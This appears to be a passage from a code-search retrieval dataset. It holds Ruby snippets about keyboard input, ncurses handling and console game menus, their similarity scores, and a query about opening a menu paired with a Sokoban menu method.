trying out\n end\n ## added RESIZE on 2012-01-5 \n ## stuff that relies on last line such as statusline dock etc will need to be redrawn.\n fire_handler :RESIZE, self \n else\n field = get_current_field\n if $log.debug?\n keycode = keycode_tos(ch)\n $log.debug \" form HK #{ch} #{self}, #{@name}, #{keycode}, field: giving to: #{field}, #{field.name} \" if field\n end\n handled = :UNHANDLED \n handled = field.handle_key ch unless field.nil? # no field focussable\n $log.debug \"handled inside Form #{ch} from #{field} got #{handled} \"\n # some widgets like textarea and list handle up and down\n if handled == :UNHANDLED or handled == -1 or field.nil?\n case ch\n when KEY_TAB, ?\\M-\\C-i.getbyte(0) # tab and M-tab in case widget eats tab (such as Table)\n ret = select_next_field\n return ret if ret == :NO_NEXT_FIELD\n # alt-shift-tab or backtab (in case Table eats backtab)\n when FFI::NCurses::KEY_BTAB, 481 ## backtab added 2008-12-14 18:41 \n ret = select_prev_field\n return ret if ret == :NO_PREV_FIELD\n when FFI::NCurses::KEY_UP\n ret = select_prev_field\n return ret if ret == :NO_PREV_FIELD\n when FFI::NCurses::KEY_DOWN\n ret = select_next_field\n return ret if ret == :NO_NEXT_FIELD\n else\n #$log.debug \" before calling process_key in form #{ch} \" if $log.debug? \n ret = process_key ch, self\n # seems we need to flushinp in case composite has pushed key\n $log.debug \"FORM process_key #{ch} got ret #{ret} in #{self}, flushing input \"\n # 2014-06-01 - 17:01 added flush, maybe at some point we could do it only if unhandled\n # in case some method wishes to actually push some keys\n Ncurses.flushinp\n return :UNHANDLED if ret == :UNHANDLED\n end\n elsif handled == :NO_NEXT_FIELD || handled == :NO_PREV_FIELD # 2011-10-4 \n return handled\n end\n end\n $log.debug \" form before repaint #{self} , #{@name}, ret #{ret}\"\n repaint\n $last_key = ch\n ret || 0 # 2011-10-17 \n end",
"def charPressedInMenu\n char = pressKey\n case (char)\n when \"p\"\n #load level of choice\n loadArray\n #displayArray\n displayArray\n when \"q\"\n #stop game\n exit\n when \"c\"\n #request level\n selectLevel\n else\n menuScreen\n end\nend",
"def readchar\n end",
"def setup_input\n set_keys(KbEscape => :close,\n KbF1 => [:toggle_text, false],\n KbF2 => [:debug!, false],\n KbF3 => [:pause!, false])\n end",
"def loop &block\n @form.repaint\n @window.wrefresh\n Ncurses::Panel.update_panels\n @break_key = ?\\C-q.getbyte(0)\n # added this extra loop since from some places we exit using throw :close\n # amd that was in a much higher place, and was getting us right out, with\n # no chance of user canceling quit. This extra loop allows us to remain\n # added on 2011-11-24 \n while true\n catch :close do\n while((ch = @window.getchar()) != 999 )\n if ch == @break_key || ch == @quit_key\n break\n end\n\n\n # 2014-08-19 - 22:51 commented next line, too much choice. keep it simple. delete in a month FIXME\n #yield ch if block # <<<----\n\n # this is what the user should have control ove. earlier we would put this in\n # a try catch block so user could do what he wanted with the error. Now we\n # need to get it to him somehow, perhaps through a block or on_error event\n begin\n # execute a code block so caller program can handle keys from a hash or whatever.\n # NOTE: these keys will not appear in help\n # FIXME : ideally if its just a hash, we should allow user to give it to form\n # or widget which it will use, or merge, and be able to print help from\n if @keyblock\n str = keycode_tos ch\n # why did we ever want to convert to a symbol. why not just pass it as is.\n #@keyblock.call(str.gsub(/-/, \"_\").to_sym) # not used ever\n ret = @keyblock.call(str) \n if ret\n @form.repaint \n next\n end\n end\n @form.handle_key ch\n rescue => err\n $log.debug( \"app.rb handle_key rescue reached \")\n $log.debug( err.to_s) \n $log.debug(err.backtrace.join(\"\\n\")) \n textdialog [err.to_s, *err.backtrace], :title => \"Exception\"\n end\n @window.wrefresh\n end\n end # catch\n stopping = @window.fire_close_handler\n @window.wrefresh\n break if stopping.nil? || stopping\n end # while\n end",
"def input\n\n # If the \"a\" key or left key is pressed, the x position of the player decreases.\n # Otherwise, if the \"d\" key or right key is pressed, the x position of the player increases.\n if inputs.keyboard.key_held.a || inputs.keyboard.key_held.left\n state.player.x -= 5\n elsif inputs.keyboard.key_held.d || inputs.keyboard.key_held.right\n state.player.x += 5\n end\n\n # If the \"w\" or up key is pressed, the y position of the player increases.\n # Otherwise, if the \"s\" or down key is pressed, the y position of the player decreases.\n if inputs.keyboard.key_held.w || inputs.keyboard.key_held.up\n state.player.y += 5\n elsif inputs.keyboard.key_held.s || inputs.keyboard.key_held.down\n state.player.y -= 5\n end\n\n # Sets the attack angle so the player can move and attack in the precise direction it wants to go.\n # If the mouse is moved, the attack angle is changed (based on the player's position and mouse position).\n # Attack angle also contributes to the position of red square.\n if inputs.mouse.moved\n state.player.attack_angle = inputs.mouse.position.angle_from [state.player.x, state.player.y]\n end\n\n if inputs.mouse.click && state.player.dx < 0.5 && state.player.dy < 0.5\n state.player.attack_angle_on_click = inputs.mouse.position.angle_from [state.player.x, state.player.y]\n state.player.attack_angle = state.player.attack_angle_on_click # player's attack angle is set\n state.player.dx = state.player.attack_angle.vector_x(25) # change in player's position\n state.player.dy = state.player.attack_angle.vector_y(25)\n end\n end",
"def pre_game\n puts \n puts \"Get ready for the Horde - Level 1....\"\n puts \"Press enter when you're ready...\"\n gets\n display_word\nend",
"def handle_control_character(search, key)\n case key\n\n when KEY_CTRL_N then search.down\n when KEY_CTRL_P then search.up\n\n when KEY_CTRL_U then search.clear_query\n when KEY_CTRL_W then search.delete_word\n when KEY_CTRL_H, KEY_DELETE then search.backspace\n\n when ?\\r, KEY_CTRL_J, KEY_CTRL_M then search.done\n\n when KEY_CTRL_C then raise Abort\n\n else search\n end\n end",
"def getchar\n $ncurses_timeout = -1\n return self.getch\n end",
"def read_char\nSTDIN.echo = false\nSTDIN.raw!\ninput = STDIN.getc.chr\nif input == \"\\e\" then\ninput << STDIN.read_nonblock(3) rescue nil\ninput << STDIN.read_nonblock(2) rescue nil\nend\nensure\nSTDIN.echo = true\nSTDIN.cooked!\nreturn input\nend",
"def readchar() end",
"def readchar() end",
"def readchar() end",
"def any_key\n puts \"\"\n puts \"Press any key to continue..\"\n STDIN.getch\n end",
"def handle_key(ch)\n @current_index ||= 0\n # added 2009-01-18 22:44 no point moving horiz or passing up to Field if not edit\n if !@editable\n if ch == KEY_LEFT or ch == KEY_RIGHT\n return :UNHANDLED\n end\n end\n case ch\n #when KEY_UP # show previous value\n # previous_row\n #when KEY_DOWN # show previous value\n # next_row\n # adding spacebar to popup combo, as in microemacs 2010-10-01 13:21 \n when 32, KEY_DOWN+ RubyCurses::META_KEY # alt down\n popup # pop up the popup\n else\n super\n end\n end",
"def keystroke(character, *special_keys)\n special_keys = [\"command\"] if special_keys.length == 0\n special_keys_as_applescript_array = special_keys.map { |k|\n \"#{k} down\"\n }.join(\", \")\n execute_applescript(%Q'\n tell application \"System Events\"\n set frontApp to name of first item of (processes whose frontmost is true)\n tell application frontApp\n keystroke \"#{character}\" using {#{special_keys_as_applescript_array}}\n end\n end tell\n ')\n end",
"def playGame()\n\n @@running = true\n setInput(nil)\n ipt = \"chompedinput\"\n\n broadcast(\"logging in ...\")\n\n # Login to ec2, start SSH session\n Net::SSH.start(@@host, @@user, password: @@password) do |session|\n\n broadcast(\"logged in!\")\n broadcast(\"obtaining pseudo terminal ...\")\n\n # Start the channel\n session.open_channel do |channel|\n\n # Get pseudo terminal\n channel.request_pty do |ch, success|\n if success\n broadcast(\"pty successfully obtained!\")\n ch.exec(\"./a.out\")\n else\n broadcast(\"could not obtain pty\")\n end\n end\n\n # Main loop\n # When channel has data via pty, print it\n channel.on_data do |ch, data|\n\n # allows for PTY data to buffer properly\n sleep(0.5)\n\n # Handler 1: Remove echoed input\n if ((@@input != \"\\n\") && (data.include? ipt))\n if (!data.include?(\"Quit\"))\n data = data.sub(ipt, \"\")\n end\n end\n\n # Handler 2: Check if data is empty, avoid extra user keystrokes\n if data.include?(\"out of money\")\n broadcast(\"#{data}\")\n getUserInput\n elsif (isEmpty(data) && @@input != \"\\n\")\n setInput(\"\\n\") \n elsif (!isEmpty(data) && (@@input == \"\\n\"))\n broadcast(\"#{data}\")\n if data.include?(\"does not have\")\n getUserInput\n end\n else\n if (!isEmpty(data))\n broadcast(\"#{data}\")\n end\n getUserInput\n end \n\n ipt = @@input\n if ipt != nil\n ipt = ipt.chomp\n end\n\n # When 2 is entered at main menu, trigger channel/sesion close\n if ((ipt == \"2\" || ipt == 2) && (data.include? \"Enter your selection (1-2)\")) || (!@@running)\n setInput(\"\\n\")\n channel.close()\n sleep(0.2)\n end\n\n channel.send_data(@@input) # Send input to PTY \n\n end # end on_data loop\n end # end channel block\n session.loop # Repeat session if processes running\n session.close()\n puts \"session.close called\"\n end # end SSH session\n end",
"def hotkeys\n loop do\n c = @screen.getch\n\n case c\n when Ncurses::KEY_DOWN, 14, 'j'.ord\n scroll_down\n\n when Ncurses::KEY_UP, 16, 'k'.ord\n scroll_up\n\n when Ncurses::KEY_NPAGE\n (maxy - 2).times do\n break if !scroll_down\n end\n\n when Ncurses::KEY_PPAGE\n (maxy - 2).times do\n break if !scroll_up\n end\n\n when Ncurses::KEY_LEFT\n while scroll_up; end\n\n when Ncurses::KEY_RIGHT\n while scroll_down; end\n\n when 'q'.ord\n break\n\n when @callbacks[c]\n true\n\n end\n\n @screen.move(0, 0)\n end\n end",
"def play_again?\r\n tab(4, \"Press 'y' to play again.\")\r\n tab(7, \"Press 'q' to quit.\", \"\\n\")\r\n @key = STDIN.getch\r\n end",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n \n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n \n return input\nend",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n \n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n \n return input\nend",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n \n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n \n return input\nend",
"def updateKeys\n\t\tif !@keysPressed.empty?\n\t\t\tkey = @keysPressed.pop\n\t\t\t@keysPressed.push(key)\n\t\t\tcase key.to_s\n\t\t\twhen \"t\" \n\t\t\t\t@nextGameState = Map1.new(@screen, @hero)\n\t\t\tend\n\t\tend\n\tend"
] | [
"0.6846503",
"0.6841065",
"0.6826847",
"0.6811319",
"0.6762251",
"0.67213124",
"0.6707198",
"0.67066526",
"0.6661459",
"0.65551734",
"0.6454079",
"0.6434647",
"0.64144385",
"0.64108735",
"0.6401975",
"0.63987625",
"0.63835967",
"0.62789017",
"0.623884",
"0.621047",
"0.62027985",
"0.6199755",
"0.6190169",
"0.6162606",
"0.6158442",
"0.61396205",
"0.61376846",
"0.61304706",
"0.61213815",
"0.61101216",
"0.60779506",
"0.6059468",
"0.6058788",
"0.6053403",
"0.6026844",
"0.60008484",
"0.5977175",
"0.5977046",
"0.5977046",
"0.59478563",
"0.59314567",
"0.5904295",
"0.590071",
"0.5891442",
"0.58883774",
"0.5884439",
"0.5880336",
"0.5855475",
"0.5851093",
"0.58487004",
"0.58280855",
"0.58251697",
"0.5821994",
"0.58158255",
"0.57997906",
"0.57681465",
"0.576577",
"0.5745126",
"0.5743793",
"0.5742648",
"0.57422197",
"0.5738949",
"0.5733431",
"0.57331264",
"0.5724206",
"0.5712979",
"0.57055295",
"0.5689277",
"0.56772333",
"0.5672069",
"0.56709623",
"0.56688654",
"0.56676024",
"0.56638676",
"0.56617355",
"0.5644431",
"0.5636881",
"0.56315976",
"0.5627425",
"0.56165874",
"0.559483",
"0.55812657",
"0.5571884",
"0.55676883",
"0.55670875",
"0.5565424",
"0.5562507",
"0.55541915",
"0.55541915",
"0.55541915",
"0.5546686",
"0.5537702",
"0.5536056",
"0.5536043",
"0.553601",
"0.55349725",
"0.5534662",
"0.55346227",
"0.55346227",
"0.55340123"
] | 0.650767 | 10 |
create a menu method to open up upon being called | def menuScreen
@levelNo=1
clearScreen
puts "You are at the menu for Sokoban"
puts "To quick play: Press 'p'"
puts "To choose a level: Press 'c'"
puts "To stop: Press 'q'"
charPressedInMenu
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def menu # can do custom methods within a method/class\n end",
"def menu\nend",
"def menu\n \nend",
"def menu\n \n \n\nend",
"def getMenu(menu)\n menu.add_item(\"Done\") {self.done}\n menu.add_item(\"Edit Camera...\") {self.edit}\n menu.add_item(\"Reset Tilt\") {self.reset_tilt}\nend",
"def show # Show method\n menu # Show menu method above\n end",
"def main_menu\n h = {\n a: :ag,\n z: :z_interface,\n # f: :file_actions,\n b: :bookmark_menu,\n c: :create_menu,\n f: :filter_menu,\n o: :order_menu,\n s: :selection_menu,\n t: :toggle_menu,\n v: :view_menu,\n '`' => :goto_parent_dir,\n x: :extras\n }\n menu 'Main Menu', h\nend",
"def create_menu\n h = { f: :create_a_file,\n d: :create_a_dir,\n s: :create_dir_with_selection,\n b: :create_bookmark }\n _, menu_text = menu 'Create Menu', h\nend",
"def view_menu\n h = {\n f: :select_from_visited_files,\n d: :select_from_used_dirs,\n b: :view_bookmarks,\n s: :list_selected_files,\n c: :child_dirs,\n r: :recent_files,\n t: :tree,\n e: :dirtree\n }\n menu 'View Menu', h\nend",
"def build_menu(application_name, method_names)\n #take array of method names and turn into menu\n puts \"#{application_name.humanize}\"\n method_names.each_with_index {|method_name, index| puts \"#{index + 1}: #{method_name.to_s.humanize}\"}\n puts \"\\nPlease enter your selection:\"\nend",
"def main_menu\n h = { \n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :s => :sort_menu, \n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n :x => :extras\n }\n menu \"Main Menu\", h\nend",
"def main_menu\n puts \"Here is a list of available commands:\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show - Show a contact\"\n puts \" search - Search contacts\"\n puts \" delete - Deletes a contact\"\n end",
"def menu_selection \nend",
"def menu(name, *args, &block)\n if self[name]\n self[name].extend(&block)\n else\n self[name] = Menu.new(nil, :menu, name, *args, &block)\n end\n end",
"def main()\n main_menu(SHOW_HEADER);\n end",
"def list_menu\n puts \"\\nMain Menu\"\n puts \"1. Daily Prophet - News!\"\n puts \"2. Evanesco - Exit\"\n end",
"def main_menu\n\n# Step 1, create the entries with (display text, method(:to_be_called), optional_args)\n\n hello = GemMenu::Entry.new('hello', method(:hello_world))\n world = GemMenu::Entry.new('world', method(:counting_world))\n second_menu = GemMenu::Entry.new('2nd level', method(:menu_2))\n food_menu = GemMenu::Entry.new('food menu', method(:menu_favorite_foods))\n long = GemMenu::Entry.new('long menu', method(:long_menu))\n\n# Step 2, once entries are created, create the Menu object and return it with\n# (title text, array_of_Entries, optional_args)\n GemMenu::Menu.new('main menu', [hello, world, second_menu, food_menu, long])\nend",
"def createMenu\n\n # File menu\n recordAction = @actions.addNew(i18n('Start Download'), self, \\\n { :icon => 'arrow-down', :triggered => :startDownload })\n reloadStyleAction = @actions.addNew(i18n('&Reload StyleSheet'), self, \\\n { :icon => 'view-refresh', :shortCut => 'Ctrl+R', :triggered => :reloadStyleSheet })\n clearStyleAction = @actions.addNew(i18n('&Clear StyleSheet'), self, \\\n { :icon => 'list-remove', :shortCut => 'Ctrl+L', :triggered => :clearStyleSheet })\n quitAction = @actions.addNew(i18n('&Quit'), self, \\\n { :icon => 'application-exit', :shortCut => 'Ctrl+Q', :triggered => :close })\n\n updateScheduleAction = @actions.addNew(i18n('Update Schedule'), @scheduleWin, \\\n { :shortCut => 'Ctrl+U', :triggered => :updateAllFilters })\n\n fileMenu = KDE::Menu.new('&File', self)\n fileMenu.addAction(recordAction)\n fileMenu.addAction(reloadStyleAction)\n fileMenu.addAction(clearStyleAction)\n fileMenu.addAction(updateScheduleAction)\n fileMenu.addAction(quitAction)\n\n\n # settings menu\n playerDockAction = @playerDock.toggleViewAction\n playerDockAction.text = i18n('Show Player')\n configureAppAction = @actions.addNew(i18n('Configure %s') % APP_NAME, self, \\\n { :icon => 'configure', :shortCut => 'F2', :triggered => :configureApp })\n\n settingsMenu = KDE::Menu.new(i18n('&Settings'), self)\n settingsMenu.addAction(playerDockAction)\n settingsMenu.addSeparator\n settingsMenu.addAction(configureAppAction)\n\n\n # Help menu\n aboutDlg = KDE::AboutApplicationDialog.new(KDE::CmdLineArgs.aboutData)\n openAboutAction = @actions.addNew(i18n('About %s') % APP_NAME, self, \\\n { :icon => 'irecorder', :triggered =>[aboutDlg, :exec] })\n openDocUrlAction = @actions.addNew(i18n('Open Document Wiki'), self, \\\n { :icon => 'help-contents', :triggered =>:openDocUrl})\n openReportIssueUrlAction = @actions.addNew(i18n('Report Bug'), self, \\\n { :icon => 'tools-report-bug', :triggered =>:openReportIssueUrl })\n openRdocAction = @actions.addNew(i18n('Open Rdoc'), self, \\\n { :icon => 'help-contents', :triggered =>:openRdoc })\n openSourceAction = @actions.addNew(i18n('Open Source Folder'), self, \\\n { :icon => 'document-open-folder', :triggered =>:openSource })\n\n\n helpMenu = KDE::Menu.new(i18n('&Help'), self)\n helpMenu.addAction(openDocUrlAction)\n helpMenu.addAction(openReportIssueUrlAction)\n helpMenu.addAction(openRdocAction)\n helpMenu.addAction(openSourceAction)\n helpMenu.addSeparator\n helpMenu.addAction(openAboutAction)\n\n # insert menus in MenuBar\n menu = KDE::MenuBar.new\n menu.addMenu( fileMenu )\n menu.addMenu( settingsMenu )\n menu.addSeparator\n menu.addMenu( helpMenu )\n setMenuBar(menu)\n end",
"def main_menu\n h = { \n \"1\" => :view_article,\n \"2\" => :view_comments,\n :f => :display_forum,\n :v => :view_menu,\n :r => :reload,\n :m => :fetch_more,\n :R => :reddit_options,\n :H => :hacker_options,\n :s => :sort_menu, \n :C => :config_menu,\n :a => :view_article,\n :c => :view_comments,\n :x => :extras\n }\n=begin\n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n=end\n\n menu \"Main Menu\", h\nend",
"def main_menu\n name_selector\n puts \"Okay #{@name}, what would you like to do?\"\n loop do\n case menu_arrows\n when '1'\n @recommendation.recommendation_menu\n when '2'\n puts 'you have the following number of games in your library: '\n @game_library.game_instances\n puts 'your custom list of games:'\n @game_library.user_games_lister\n when '3'\n puts 'add a game:'\n @game_library.add_title\n when '4'\n @game_library.delete_games\n when '5'\n @time_used.time_wasted\n when '6'\n @game_library.write_games\n puts 'thanks for your time!'\n exit\n end\n end\n end",
"def create_menu\n items = Hash.new\n # action shd be a hash\n # menu should have array of hashes (or just a string)\n #db = { :name => \"Databases\", :accelerator => \"M-d\", :enabled = true, :on_right => :get_databases }\n #or = { :name => \"Open Recent\", :accelerator => \"M-o\", :enabled = true, :on_right => :get_recent }\n #find_array = {\"Find ...\" => :find, \"Find Next\" => :find_next, \"Find Previous\" => :find_prev}\n items[\"File >\"] = [\"Open ... C-o\" , \"Open Recent\", \"Databases\" , \"Tables\", \"Exit\"]\n items[\"Window >\"] = { \"Tile\" => nil, \"Find >\" => {\"Find ...\" => :find, \"Find Next\" => :find_next, \"Find Previous\" => :find_prev},\n \"Edit\" => nil, \"Whatever\" => nil}\n items[\"Others >\"] = { \"Shell Output ...\" => :shell_output, \"Suspend ...\" => :suspend , \"View File\" => :choose_file_and_view}\n\n # in the case of generated names how will call back know that it is a db name or a table name\n # We get back an array containing the entire path of selections\n right_actions = {}\n right_actions[\"Databases\"] = Proc.new { Dir.glob(\"**/*.{sqlite,db}\") }\n right_actions[\"Tables\"] = :get_table_names\n\n ret = popupmenu items, :row => 1, :col => 0, :bgcolor => :cyan, :color => :white, :right_actions => right_actions\n # ret can be nil, or have a symbol to execute, or a String for an item with no leaf/symbol\n if ret\n alert \"Got #{ret}\"\n last = ret.last\n if last.is_a? Symbol\n if respond_to?(last, true)\n send(last)\n end\n end\n end\n\n return\n r = 1\n ix = popuplist( top , :title => \" Menu \" , :row => r, :col => 0, :bgcolor => :cyan, :color => :white)\n if ix\n value = top[ix]\n ix = popuplist( items[value] , :row => r + 2 + ix, :col => 10, :bgcolor => :cyan, :color => :white)\n end\nend",
"def display_menu()\n return 'Welcome to the Chicken Farm Simulator'\nend",
"def menu _command\n send_cmd(\"menu #{_command}\")\n end",
"def getMenu(menu)\n end",
"def print_menu\n puts \"1. List patients\"\n # ....\n end",
"def menu\n # This uses a HEREDOC for multiline listing\n puts \"-------------------------\".colorize(:green) \n puts <<-MENU\n\nChoose a how you would like to see a card. You can view by name, creature, enchantment or sorcery:\n1. See cards by Name \n2. See cards by Creature \n3. See cards by Enchantment \n4. See cards by Sorcery\n\nOr type 'exit' at any time to leave the program. Type 'menu' to return to the main menu.\n MENU\n end",
"def displaymenu # Console only\r\n\t\t @output.puts \"Menu: (1) Play | (2) New | (3) Analysis | (9) Exit\"\r\n\t\t end",
"def createMenu _obj, _args\n \"_obj createMenu _args;\" \n end",
"def main_menu\n choice = true\n while choice\n puts \"What would you like to do?\"\n puts \"(C)reate, (L)ist, (U)pdate, (D)elete, or (E)xit \"\n options = gets.chomp.downcase\n\n case options\n when \"c\"\n # runs method create line 101\n create\n when \"l\"\n #runs method list line 144\n list\n when \"u\"\n #runs method update line 161\n update\n when \"d\"\n #runs method delete line 229\n delete\n when \"e\"\n choice = false #exits world\n else\n puts \"Wrong Input. Please input C, L, U, D or E\"\n end\n end\n end",
"def main_menu\n puts\"(b) - basic calculator\"\n puts\"(a) - advanced calculator\"\n puts\"(bmi) - body mass index\"\n puts\"(t) - trip calculator\"\n puts\"(m) - morgage\"\n puts\"(q) - quit\"\nend",
"def main_menu\n choice = self.prompt.select(\"Hi there, #{self.user.name}! What would you like to do today?\", [\"Create a new post\", \"Find a book\", \"View or edit my posts\", \"Delete my account\", \"Logout\"])\n\n case choice\n when \"Create a new post\"\n self.new_post\n when \"Find a book\"\n self.find_book\n when \"View or edit my posts\"\n self.view_edit_posts\n when \"Delete my account\"\n self.delete_account\n when \"Logout\"\n self.spinner(\" ✌️✌️✌️ \")\n self.greet\n end\n end",
"def main_menu\r\n puts \"\\nMain Menu.\"\r\n puts \"A. List Buildings\"\r\n puts \"B. List Machines\"\r\n puts \"C. List Snacks\"\r\n puts \"D. List Users\"\r\n puts \"E. Find a Snack\"\r\n puts \"F. Add a New Snack\"\r\n puts \"G. Create New User\"\r\n puts \"H. List Favorites\"\r\n puts \"I. Find Favorites\"\r\n puts \"J. Add Favorites\"\r\n puts \"Q. Quit\"\r\nend",
"def main_menu\n prompt.select(\"What would you like to do today #{user.name}?\") do |menu|\n menu.choice \"Choose Protein\", -> {choose_protein}\n menu.choice \"Exit!\", -> {exit_helper}\n menu.choice \"Delete Account!?!?\", -> {delete_account_helper}\n end\n end",
"def main_menu\n\n\tputs \"***Ruby Cheatsheet***\"\n\tputs \"1. Command Line\"\n\tputs \"2. IDE\" \n\tputs \"3. Search\"\n\tputs \"4. Quit\"\n\tputs \"Make a selection 1 - 4:\"\n\nend",
"def main_menu(owner_name, owner)\n puts \"#{page_break}\\n\n Select from the following menu options to get started:\\n\n 1 - Make New Appointent\n 2 - Reschedule Appointment\n 3 - Cancel Appointment\n 4 - Search for a Groomer\n 5 - Exit\n \"\n end",
"def start_menu\n printf \"\\nPrograma para a disciplina de LPD\\n\"\n printf \"Choose one option\\n\"\n printf \"------------------------------------\\n\"\n printf \"1) Insert user\\n\"\n printf \"2) Login user\\n\"\n printf \"3) Delete user\\n\"\n printf \"0) Exit\\n\"\nend",
"def main_menu\n main_menu_options = {'Interact with Existing Kits' => :list_and_select_kit,\n 'Create a new Kit' => :prompt_kit_params, \n 'Quit' => :quit}\n \n op = @io.select_from_options(\"What would you like to do?\", main_menu_options)\n @operation_stack.unshift op\n \n # return nil, because there's nothing to pass onto the next method\n return\n end",
"def show_main_menu\n puts \"Welcome to the app. What would you like to do?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" quit - Exit Application\"\n puts \" show - shows contact with specific id\"\n puts \" find - find a user\"\n print \"> \"\n end",
"def print_menu\n puts \"Which action [list|add|delete|mark|idea|quit]?\"\nend",
"def show_main_menu\n puts \"Welcome to the app. What's next?\".yellow\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show - display details via index\"\n puts \" find - find someone by name\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def init # entry method to the CLI \n greeting \n menu_list\n menu_selection\nend",
"def create_menus\n @file_menu = menu_bar.add_menu(tr(\"&File\"))\n @currency_menu = menu_bar.add_menu(tr(\"&Currency\"))\n @currency_menu.add_action(@import_file_action)\n @currency_menu.add_action(@import_url_action)\n @token_menu = menu_bar.add_menu(tr(\"&Token\"))\n @token_menu.add_action(@verify_action)\n @token_menu.add_action(@reissue_action)\n menu_bar.add_separator\n @help_menu = menu_bar.add_menu(tr(\"&Help\"))\n @help_menu.add_action(@about_action)\n end",
"def create_menu_command\n\t @command_window = Window_MenuCommand.new\n\t @command_window.set_handler(:item, method(:command_item))\n\t @command_window.set_handler(:skill, method(:command_personal))\n\t @command_window.set_handler(:equip, method(:command_personal))\n\t @command_window.set_handler(:status, method(:command_personal))\n\t @command_window.set_handler(:save, method(:command_save))\n\t @command_window.set_handler(:game_end, method(:command_game_end))\n\t @command_window.set_handler(:cancel, method(:return_scene))\t\n\tend",
"def show_main_menu\n puts \"What would you like do next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" delete - Delete a contact\"\n puts \" show - Display contact details\"\n # puts \" find - Find a contact\"\n print \"> \"\n end",
"def call_menu\n return if $game_system.menu_disabled\n Sound.play_open_menu\n @spriteset.clear_banners\n#~ if @spriteset.banners?\n#~ bs = @spriteset.title_banners ? @spriteset.title_banners : []\n#~ pb = @spriteset.party_banners ? @spriteset.party_banners : []\n#~ rb = @spriteset.red_banners ? @spriteset.red_banners : []\n#~ $game_temp.remember_banners = [[bs],[pb],[rb]]\n#~ $game_temp.remember_banner_phase = [@spriteset.tickdown,@spriteset.banner_phase]\n#~ $game_temp.remember_joiners = @spriteset.joiners\n#~ $game_temp.remember_leavers = @spriteset.leavers\n#~ $game_temp.remember_removed = @spriteset.removed\n#~ $game_temp.remember_header = @spriteset.header_banner\n#~ $game_temp.remember_posx = @spriteset.posx\n#~ end\n SceneManager.call(Scene_Menu)\n Window_MenuCommand::init_command_position\n end",
"def display_menu\n puts \"Choose from the following options: \\n\n to find a candidate, type 'find id' (ex. find 1)\n to view all candidates, type 'all'\n to view all qualified candidates, type 'qualified'\n to exit, type 'quit' \n to view menu, type 'menu' \\n\\n\"\nend",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" find - Find by name\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def run_normal\n welcome_header\n main_menu \n end",
"def menu\n puts \"Menu\"\n puts \"1. List Channels\"\n puts \"2. List Users\"\n puts \"3. Select User\"\n puts \"4. Select Channel\"\n puts \"5. Send Message\"\n puts \"6. Quit\"\nend",
"def init \n greeting \n menu_list\n menu_selection\n goodbye\nend",
"def menu(name, path=nil, options={}, &block)\n @menus << Menu.new(name, path, options, &block)\n end",
"def main_menu\n @@prompt.select(\"What would you like to do today?\".colorize(:yellow)) do |menu|\n menu.choice \"Read Reviews\", -> {self.read_reviews}\n menu.choice \"Write a review\", -> { self.writing }\n menu.choice \"Update a review\", -> { self.update_reviews }\n menu.choice \"Delete a review\", -> { self.deleting }\n menu.choice \"Log Out\", -> { self.log_out }\n end\n end",
"def bar\n puts 'bar'\n main_menu\nend",
"def selection_menu\n h = {\n a: :select_all,\n u: :unselect_all,\n s: :toggle_select,\n '*' => 'toggle_multiple_selection',\n 'x' => 'toggle_visual_mode',\n 'm' => 'toggle_selection_mode',\n v: :view_selected_files\n }\n menu 'Selection Menu', h\nend",
"def main_menu\n puts \"Main Menu\"\n puts \"(a) - Basic calculator\"\n puts \"(b) - Advanced calculator\"\n puts \"(c) - Special calculators\"\n puts \"(q) - Quit\"\nend",
"def assigned_menu\n\n end",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" find - Find by name\"\n puts \" delete - Delete by ID\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def crud_menu(class_name)\n class_string = class_name.to_s.underscore.downcase\n m = Menu.new(\"What would you like to do with #{class_string.humanize.downcase.pluralize}?\")\n m.add_menu_item(user_message: [\"Create a new #{class_string.humanize.downcase}.\"], method_name: \"#{class_string}/create\")\n m.add_menu_item(user_message: [\"Show all #{class_string.humanize.downcase.pluralize}.\"], method_name: \"#{class_string}/show\")\n m.add_menu_item(user_message: [\"Update a #{class_string.humanize.downcase}.\"], method_name: \"#{class_string}/update\")\n m.add_menu_item(user_message: [\"Delete a #{class_string.humanize.downcase}.\"], method_name: \"#{class_string}/delete\")\n m\n end",
"def main_menu\n puts \"(b) - basic calculator\"\n puts \"(a) - advanced calculator\"\n puts \"(bmi) - BMI calculator\"\n puts \"(m) - mortgage calculator\"\n puts \"(t) - trip calculator\"\n puts \"(q) - quit\"\nend",
